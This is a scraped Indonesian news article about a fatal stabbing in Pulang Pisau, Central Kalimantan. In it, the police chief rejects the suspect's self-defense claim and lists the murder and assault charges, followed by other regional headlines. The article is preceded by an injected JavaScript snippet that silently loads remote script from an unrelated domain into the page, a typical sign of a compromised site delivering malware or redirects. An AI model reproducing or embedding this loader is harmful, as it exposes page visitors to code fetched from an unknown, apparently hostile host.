(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULANG PISAU, Dalam pengakuannya Jhon Sony alias Oco warga Sei Hanyu Kapuas Hulu menusuk hingga tewas Hendra dan Enjel Okto Renaldy karena merasa dipalak dan terancam oleh korban. Namun Kapolres Pulang Pisau Kapolres Pulang Pisau AKBP Siswo Yuwono Bima Putra Mada, menyebut tindakan tersebut sebagai aksi kriminal berat. Hal tersebut ditegaskan orang nomor satu di Korps Bhayangkara Pulpis tersebut saat pihaknya melakukan pendalaman dalam kasus tersebut.
“Jhon Sony alias Oco ini bukan dalam hal melakukan pembelaan diri, namun murni kriminal. Karena sebelum aksi penusukan tersebut tidak ada tindak penganiyaan yang dilakukan korban pada pelaku. Kedua, pelaku sengaja mempersenjatai diri dengan sajam berupa pisau yang selalu dibawa kemana-mana. Sehingga tindakan penganiyaan berat hingga penusukan dengan mudah terjadi,†ungkap Siswo Yuwono.
Dirinya membandingkan aksi pembelaan diri yang berakibat meninggalnya nyawa seseorang di daerah Bekasi yang dulu sempat viral dengan peristiwa yang dilakukan Jhon Sony. Pada kasus bekasi, dikatakan pria yang sebelumnya pernah menjadi Kasat Reskrim Polres Jakarta Pusat ini, pelaku memang mendapat penganiyaan oleh kawanan begal dan terluka.
Pada saat itu, pelaku posisi terdesak, tidak mungkin bisa melarikan diri. Pelaku juga tidak memiliki senjata tajam, bahkan pelaku justru sempat merebut sajam yang dipakai begal untuk melukai mereka. “Pada peristiwa yang terjadi di daerah Bawan ini, pelaku justru bertindak lebih dulu melakukan penganiyaan berat hingga menghilangkan nyawa orang lain. Dalam posisi penganiyaan, jika masih ada peluang untuk melarikan diri, seharusnya itu yang pertama kali lakukan. Tersangka akan dikenakan Pasal berlapis, 338 KUHP Pidana karena sengaja menghilangkan jiwa orang lain dengan ancaman penjara selama-Iamanya 15 tahun dan Pasal 351 ayat (3) KUHP Pidana tentang penganiayaan yang menjadikan matinya orang lain dengan ancaman penjara selama-Iamanya 7 tahun,†tutur Kapolres. ( Sjy)
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
This website uses cookies.